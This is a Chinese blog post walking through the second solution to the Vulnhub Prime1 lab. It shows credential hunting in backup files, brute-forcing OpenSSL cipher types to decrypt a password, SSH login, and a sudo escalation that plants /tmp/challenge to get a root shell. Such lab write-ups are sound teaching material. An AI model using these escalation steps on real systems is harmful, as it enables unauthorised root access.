Loading [MathJax]/jax/input/TeX/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Vulnhub靶机实操笔记-Prime1-解法二

Vulnhub靶机实操笔记-Prime1-解法二

原创
作者头像
沈少
修改于 2023-07-02 03:14:35
修改于 2023-07-02 03:14:35
48300
代码可运行
举报
文章被收录于专栏:靶机实操笔记靶机实操笔记
运行总次数:0
代码可运行

摘要

Vulnhub靶机实操笔记-Prime1-解法二

涉及知识内容:OpenSSL攻击,OD进制转换,OpenSSL加密方式识别,sudo内网提权

Prime1提权的另一种方式

接上一篇章,获得一个初始权限通过uname -a查看当前系统版本较低是存在一个内核提权的漏洞的。正常情况下,直接使用内核提权速度更快也比较暴力容易被检测发现。

一、查看用户权限

可以看到有用户saket不需要密码就能以root权限执行,当执行enc时候可以root权限执行却不要输入密码

移动到/home/saket目录下,首先先查看当前目录下有哪些文件与权限。发现enc是有执行权限的,直接尝试执行需要输入密码。尝试strings能否直接查看enc内容查看不了,尝试file读取enc提示没有读的权限。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 cd /home/saket
 ls -liah
 ./enc
 strings enc #尝试查看enc的内容
 file enc #尝试直接读取enc

二、翻找文件

既然提示要输入密码,接下来的思路就是找敏感文件,看看能不能在关键信息。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 find / -name '*backup*' 2>dev/null | sort | less
 
 find #查找文件命令
 2>dev/null #将报错文件丢除
 sort #将结果排序
 less #分页

在opt/backup文件夹尝试查看server_database,提示server_database是目录。进入server_database目录下找到backup_pass文件,通过读取文件提示enc的密码是backup_password

三、输入密码

再次执行enc文件,将获得的密码输入进去,提示权限不足enc.txt和key.txt无法释放。我丢,一开始我还是完了www-data权限不够,后面大佬点拨没有sudo去执行,加入sudo后终于成功。

不过出现good为何会如此怪异?txt那两个文件呢?发现执行后在当前目录进行释放了两个txt文件,查看enc.txt文件看到一个base64加密内容,查看key.txt文件提示将ippsec转成md5的hash

编码加密

将ippsec不输出结尾的换行符进行md5加密,以空格为分割,打印输出第一个值

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}'
 
 -n #不输出结尾的换行符
 md5sum #md5的加密形式
 awk #awk是文本处理工具
 -F #以什么条件进行分割条件,本例子是用空格进行分割

四、OpenSSL

1、openssl解法命令格式

利用获得的key.txt提示将ippsec”转换为md5哈希,利用key去解密看看enc.txt的内容具体是什么。(echo -n有时候需要根据解密的具体内容增减)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 echo -n '需要解密的内容' | openssl enc -d -a -CipherType -K '16进制的key值'
 
 -n #不输出结尾的换行符
 -d #解密
 -a #指定编码

查看openssl帮助看到标准命令就是enc,加密类型就是框框内的

将这些加密类型整合到一个文件中(这边保存的文件名是CipherTypeRaw),并对文件进行重新排列每行

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
将CipherTypeRaw文件中的空格全部替换成\n换行
 sudo awk '{gsub(/ /,"\n"); print}' CipherTypeRaw
 
 gsub #替换\\中间的内容
 CipherTypeRaw #操作的文件名名称

替换后的效果如下

对数据再美化美化,将数据排序一下,并且取值唯一,稍微统计一下一共有多少行

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 sudo awk '{gsub(/ /,"\n"); print}' CipherTypeRaw | sort | uniq | wc -l
 sudo awk '{gsub(/ /,"\n"); print}' CipherTypeRaw | sort | uniq >CipherTypes
 
 gsub #替换\\中间的内容
 CipherTypeRaw #操作的文件名名称
 sort #结果排序
 uniq #结果取唯一值
 wc -l #统计结果
 >CipherTypes #是将结果输出到文件CipherTypes上

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 sudo openssl enc --help #详细查看enc下面的使用方法
 
 -K #看到带这个key是需要16进制的hex,并不是传入前面生成的md5值

2、OD

od是linux的系统命令,转储文件8进制或其他进制

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 man od
 
 -A参数
 
 
 -A #指定RADIX为在doxn四种中的一种,例子选择的是none
 -t #指定类型,例子需要指定x1

选择十六进制的,(靶机选择的是x1)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 单字节转16进制:使用ASCII码表将每个字符转换为对应的16进制值。例如,字符串 "A"16进制表示为 "41",其中 "41" 是字符 "A"ASCII码表中的十六进制表示。
 
 双字节转16进制:使用Unicode字符编码标准将每个字符转换为对应的16进制值。例如,字符串 "中"16进制表示为 "4E2D",其中 "4E2D" 是字符 "中" 在Unicode编码表中的十六进制表示。
 
 对于判断是使用双字节还是单字节转16进制,您需要查看当前编码方式,主要有以下三种:
 
 ASCII编码:该编码方式只支持单字节字符,因此在此编码方式下,将字符串转换为16进制时只需要使用单字节转换方式即可。例如 "ippsec" 就是单字节。
 UTF-8编码:UTF-8编码是一种可变长度字符编码方式,支持单字节和双字节字符。在此编码方式下,单字节字符采用单字节转换方式,而双字节字符采用双字节转换方式。例如 "中文" 就是双字节字符。
 UTF-16编码:UTF-16编码是一种双字节编码方式,因此在此编码方式下,所有字符都是双字节字符,需要使用双字节转换方式。例如 "英文"UTF-16编码方式下也是双字节字符。
 
 根据上述规则,如果字符串 "ippsec" 是使用ASCII编码的,则将其转换为16进制时只需要使用单字节转换方式;如果是使用UTF-8编码,那么需要对其中的双字节字符使用双字节转换方式。

3、生成十六进制hex

将字符串 "ippsec" 转换为 MD5 哈希值,并将其输出为十六进制格式。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' | tr -d '\n' | od -A n -t x1 | tr -d '\n' | tr -d ' '
 
 -n #不输出结尾的换行符
 md5sum #md5的加密形式
 awk #awk是文本处理工具
 -F #以什么条件进行分割条件,本例子是用空格进行分割
 tr #可以对来自标准输入的字符进行替换、压缩和删除。
 -d #删除字符串

4、开始破解openssl

当不知道是何种加密类型时,采用bat脚本批量跑命令去破解,并将正确的加密方式输出

例子的加密方式是:aes-256-ecb,通过解密获得一个密码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 for Cipher in $(cat CipherTypes);do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bF[91/498]
 yvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null ;echo $Cipher;done
 
 for Cipher in $(cat CipherTypes);do echo -n 'xxxxxxxxxxxx' | openssl enc -d -a -$Cipher -K xxxxxxxxxxxxx 2>/dev/null ; echo $Cipher;done
 
 
 写了bat脚本遍历CipherTypes文件中的参数,将参数传给变量Cipher
 -n #openssl的bug,有的时候需要,有的时候不需要。具体取决于解密的xxxxx内容
 中是否有包含\n换行符。如果有换行符时候需要保留-n,里面内容没有时就把不需要
 -n
 do #后接具体执行操作语句命令
 2>dev/null #将报错信息丢除
 done #结束bat脚本命令

再次验证一下获得的加密方式,这边直接用aes-256-ecb进行解密操作

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -aes-256-ecb -K '3336366137346362336339353964653137643631646233303539316333396431'

五、拿下内网机器

根据解密的内容翻译,得到用户saket有一个旧密码是 tribut_to_ippsec

尝试ssh直接连接,发现成功连接机器

六、内网提权

1、查看系统详情

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
uname -a

2、查看用户权限

发现可以不需要密码以root权限去执行一个/home/victor/undefeated_victor文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sudo -l

3、查看定时任务

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cat etc/crontab

4、成功提权

提示/tmp/challenge文件没有找到

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sudo /home/victor/undefeated_victor

来到/tmp目录下查看是否有challenge文件,发现没有challenge文件。于是新建一个challenge文件,在文件中写启用一个新的bash线程命令。对文件challenge赋予执行权限,再利用前面提醒的“不需要密码以root权限去执行一个/home/victor/undefeated_victor文件”再执行文件,就获得了root权限。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 cd /tmp
 echo '#!/bin/bash' >challenge
 echo '/bin/bash' >>challenge
 chmod +x challenge
 sudo /home/victor/undefeated_victor
 whoami

七、靶场下载链接

https://download.vulnhub.com/prime/Prime_Series_Level-1.rar

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Vulnhub靶机实操笔记-Prime1-解法一
在访问dev路径时,看到提示内容说现在我们处在levl 0的等级里面,让我们再努力一点
沈少
2023/06/23
4810
Vulnhub靶机实操笔记-Prime1-解法一
Vulnhub靶机实操笔记-JARBAS
涉及知识内容:目录扫描、Hash-identifier识别、Jenkins利用、计划任务内网提权
沈少
2023/06/23
4520
Vulnhub靶机实操笔记-JARBAS
Android 安全
MD5长度默认是128bit,这样表达不好,所以将二级制转换成16进制,4bit代表一个16进制,所有128/4=32 ,所以为32位16进制。 MD5 16位与32位区别是将32位后面的16位去掉,得到的16位
Yif
2019/12/26
1.2K0
iOS逆向(2)-密码学(Hash&对称加密)
原文地址:https://juejin.im/post/5c7e72cd6fb9a049fc044519”
iOSSir
2019/06/14
8730
iOS逆向(2)-密码学(Hash&对称加密)
Vulnhub靶机实操笔记-W1R3S
涉及知识内容:FTP未授权、Leetspeak语法、Hash-identifier识别、CMS漏洞利用、hash值破解、破解hash内网提权
沈少
2023/06/23
4470
Vulnhub靶机实操笔记-W1R3S
常见加密方式和Python实现
我们所说的加密方式,都是对二进制编码的格式进行加密的,对应到Python中,则是我们的Bytes。
用户6133654
2019/08/29
2.4K0
常见加密方式和Python实现
ssl协议及开源实现openssl
SSL: (Secure Socket Layer)安全套接层,ssl是一套安全协议,被应用层调用,当http调用ssl协议时被称为https,当ftp调用ssl协议时被称为sftp。 lls是一个协议的集合 ,其中包括: Handshake协议:包括协商安全参数和密码套件、服务器身份认证(客户端身份认证可选)、密钥交换 ChangeCipherSpec 协议:一条消息表明握手协议已经完成 Alert 协议:对握手协议中一些异常的错误提醒,分为fatal和warning两个级别, fatal类型错误会直接中断SSL链接,而warning级别的错误SSL链接仍可继续,只是会给出错误警告 Record 协议:包括对消息的分段、压缩、消息认证和完整性保护、加密等 HTTPS 协议:就是“HTTP 协议”和“SSL/TLS 协议”的组合。 HTTP over SSL”或“HTTP over TLS”,对http协议的文本数据进行加密处理后,成为二进制形式传输
全栈程序员站长
2022/08/26
2K0
ssl协议及开源实现openssl
openssl安装与使用
可以通过源码安装也可以apt-get install安装,安装openssl之前先看一下自己是否安装有openssl
全栈程序员站长
2022/07/22
5.3K0
openssl安装与使用
Go加密算法总结
它是一种数据编码方式,虽然是可逆的,但是它的编码方式是公开的,无所谓加密。本文也对Base64编码方式做了简要介绍。
iginkgo18
2020/12/22
1.7K0
nodejs使用aes-128-ecb加密如何在c#中解密
却发现C#端怎么也解密不了,一直报错,改了一整天,后来终于发现,nodejs端加密用的key其实在使用之前已经使用md5加密了一次,而这个操作是默认的,暂时没发现有配置可以默认去掉,服务端如果需要使用这个key解密,则需要也同样使用MD5加密
frontoldman
2019/09/03
3K0
NodeJS之加解密Crypto
就算原文件是纯英文内容,编码后内容也和原文完全不一样,普通人难以阅读但由于只有16个字符,听说一些程序员大牛能够记下他们的映射关系,从而达到读hex编码和读原文一样的效果。另外,数据在经过hex编码后,空间占用变成了原来的2倍。
前端LeBron
2021/12/27
1.9K0
NodeJS之加解密Crypto
Vulnhub靶机实操笔记-LampSecurity-CTF5
涉及知识内容:NanoCMS利用,hash-identifier,Hashcat破解hash,用户历史记录找敏感信息,内网提权
沈少
2023/06/30
5480
Vulnhub靶机实操笔记-LampSecurity-CTF5
Golang:加密解密算法
在项目开发过程中,当操作一些用户的隐私信息,诸如密码,帐户密钥等数据时,往往需要加密后可以在网上传输.这时,需要一些高效地,简单易用的加密算法加密数据,然后把加密后的数据存入数据库或进行其他操作;当需要读取数据时,把加密后的数据取出来,再通过算法解密.
OwenZhang
2021/12/08
1.8K0
Golang:加密解密算法
CTF杂谈之PHP魔法与CBC加密
PHP语言的开发者在几乎所有内置函数以及基本结构中使用了很多松散的比较和转换,防止程序中的变量因为程序员的不规范而频繁的报错,然而这却带来了安全问题。也正是因为这些PHP特性,使得它频繁出现在各类CTF题目中。 在开始今天的重点之前,我们先复习一下以前遇到过的一些PHP黑魔法。
tinyfisher
2019/11/20
1.9K0
CTF杂谈之PHP魔法与CBC加密
Android传输数据时加密详解
MD5即Message-Digest Algorithm 5(信息-摘要算法5),用于确保信息传输完整一致。是计算机广泛使用的杂凑算法之一(又译摘要算法、哈希算法),主流编程语言普遍已有MD5实现。将数据(如汉字)运算为另一固定长度值,是杂凑算法的基础原理,MD5的前身有MD2、MD3和MD4
全栈程序员站长
2022/08/30
1.4K0
Android传输数据时加密详解
Android开发笔记(七十二)数据加密算法
编码算法 URL编码 URL编码其实并非加解密算法,只是对特殊字符进行字符转义,从而方便在URL中传输参数。URL编码有两种方式,一种是狭义的URL编码,另一种是广义的URL编码。 狭义的URL
aqi00
2019/01/18
8940
解密某游戏的数据加密
最近有个兄弟通过我的视频号加我,咨询能否将这个dubo游戏游戏开始前就将数据拿到从而进行押注,于是通过抓包工具测试了下,发现数据有时候是明文,有时候确实密文,大致看了下有这几种加密:Md5aes、Md5,参数加密用md5,数据返回加密用Md5aes,本次记录一下分析过程。
德宏大魔王
2024/05/25
2890
解密某游戏的数据加密
什么?你还不会webshell免杀?(一)
还是可以发现其实只是过滤参数里的内容,其实依旧比较好绕过,下下面的字符串处理中,我们会使用到函数来进行流量加密和代码加密
红队蓝军
2022/07/06
1.7K0
什么?你还不会webshell免杀?(一)
常见密码和编码总结 CTF中Crypto和Misc必备
可以分作三部分组成 第一部分是:ASCII非打印控制字符 第二部分是:ASCII打印字符; 第三部分是:扩展ASCII打印字符
中龙技术
2022/09/30
8.4K0
常见密码和编码总结 CTF中Crypto和Misc必备
Vulnhub靶机:DC-9
靶机下载地址:https://download.vulnhub.com/dc/DC-9.zip
小简
2022/12/29
5700
Vulnhub靶机:DC-9
相关推荐
Vulnhub靶机实操笔记-Prime1-解法一
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验